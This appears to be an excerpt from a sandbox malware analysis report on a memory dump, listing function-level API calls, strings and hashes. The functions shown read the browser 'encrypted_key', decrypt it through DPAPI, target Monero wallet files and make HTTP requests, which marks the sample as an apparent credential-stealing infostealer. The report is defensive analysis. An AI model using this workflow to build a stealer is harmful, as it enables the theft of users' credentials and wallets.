Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0a41b1de4b690e98576baefd5f56ede2dbc698d1544660d4725737863cf800e7
Instruction ID: 45f8ac930968496ce7a1746254836c21a437def7d9409ba49dd1e5458950e2d8
Opcode Fuzzy Hash: 0a41b1de4b690e98576baefd5f56ede2dbc698d1544660d4725737863cf800e7
Instruction Fuzzy Hash: 408151768101089ACB08FBA0DD96EEE7378EF54300F44513AF417B2291EF746B4ADB62

Function 00ECF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00EE1580,00EE0D92), ref: 00ECF54C
lstrlen.KERNEL32(00000000), ref: 00ECF56B

Strings

moz-extension+++, xrefs: 00ECF5AD
^userContextId=4294967295, xrefs: 00ECF59C

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 7f28a106aef5458561ad12860a36c082c78bb8245c509168d4ffdadad17196ee
Instruction ID: 97afd8ec6b1fd8a934fca77b287fdb62ead127e5b8de0fea638f3b59a9be8880
Opcode Fuzzy Hash: 7f28a106aef5458561ad12860a36c082c78bb8245c509168d4ffdadad17196ee
Instruction Fuzzy Hash: 95512376D001489ADB08FBA4DC96DED73B8EF54300F44953AF81677291EE34670ACBA2

Function 00EC9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EC9D39

Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9AEF
Part of subcall function 00EC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B01
Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9B2A
Part of subcall function 00EC9AC0: LocalFree.KERNEL32(?,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B3F

Part of subcall function 00EC9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EC9B84
Part of subcall function 00EC9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00EC9BA3
Part of subcall function 00EC9B60: LocalFree.KERNEL32(?), ref: 00EC9BD3

Strings

"encrypted_key":", xrefs: 00EC9D30
DPAPI, xrefs: 00EC9D89
, xrefs: 00EC9DC1

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 43a40adaebb0162482cab93792ef188b65295bc71c6ac8a0519c820fd775eb6e
Instruction ID: 6c0ad2b9f4ba3c7fd66761fb7c28288814dbe47574b9de3f0602fa422c3df39b
Opcode Fuzzy Hash: 43a40adaebb0162482cab93792ef188b65295bc71c6ac8a0519c820fd775eb6e
Instruction Fuzzy Hash: 803150B6D10208ABCB04DBE4DD89FEEB7B8AF48304F14551DE902B7242E7319A05CBA1

Function 00ED6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00A98F08,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ED6AE8
CloseHandle.KERNEL32(00000000), ref: 00ED6AF9
Sleep.KERNEL32(00001770), ref: 00ED6B04
CloseHandle.KERNEL32(?,00000000,?,00A98F08,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6B1A
ExitProcess.KERNEL32 ref: 00ED6B22

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 6c498f3da2f1c194b19db8a8799f3720a160a1f4dd82df2fffbbf472bd7abbe3
Instruction ID: c3af2cf3e5977176c26fe426d813e8f010f909eca9c40797493384d06b2bc3ce
Opcode Fuzzy Hash: 6c498f3da2f1c194b19db8a8799f3720a160a1f4dd82df2fffbbf472bd7abbe3
Instruction Fuzzy Hash: F8F05E30940319ABEB20ABA0EC06BBD7B74EF04701F10A527F513B22C1DBF05682D756

Function 00EC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Strings

<, xrefs: 00EC47C9

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 62a520e64f37c5c7eb419843bcc0bc37bd966c6946183c60f4fb8c5957b06cfa
Instruction ID: 113ca22984fcfc16d7159a5fd2c7e6875afb2ed7837b670e5c2e90abe710420e
Opcode Fuzzy Hash: 62a520e64f37c5c7eb419843bcc0bc37bd966c6946183c60f4fb8c5957b06cfa
Instruction Fuzzy Hash: 3B213EB1D00209ABDF14DFA4E845ADD7B74FF45320F148626F925B7281EB706A06CB91

Function 00ED51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC6280: InternetOpenA.WININET(00EE0DFE,00000001,00000000,00000000,00000000), ref: 00EC62E1
Part of subcall function 00EC6280: StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC6303
Part of subcall function 00EC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC6335
Part of subcall function 00EC6280: HttpOpenRequestA.WININET(00000000,GET,?,00A9E290,00000000,00000000,00400100,00000000), ref: 00EC6385
Part of subcall function 00EC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC63BF
Part of subcall function 00EC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5228

Strings

ERROR, xrefs: 00ED5273
ERROR, xrefs: 00ED521A

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: ec0acd8ffbfc6cb678e7b1a2949ad7e5e2bf510e3618a90c44185990e0f3a1d3
Instruction ID: 2cd4ac1931a053862da47214513487fd5b38d990b9214edd8ee62c2bc656c70c
Opcode Fuzzy Hash: ec0acd8ffbfc6cb678e7b1a2949ad7e5e2bf510e3618a90c44185990e0f3a1d3
Instruction Fuzzy Hash: 75112131900148ABCB18FF60DD56EED73B8EF50300F44516AF81A66292EF70AB07C691

Function 00ED4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4F7A
lstrcat.KERNEL32(?,00EE1070), ref: 00ED4F97
lstrcat.KERNEL32(?,00A99228), ref: 00ED4FAB
lstrcat.KERNEL32(?,00EE1074), ref: 00ED4FBD

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED492C
Part of subcall function 00ED4910: FindFirstFileA.KERNEL32(?,?), ref: 00ED4943

Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
Part of subcall function 00ED4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
Part of subcall function 00ED4910: FindClose.KERNEL32(000000FF), ref: 00ED4B92

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
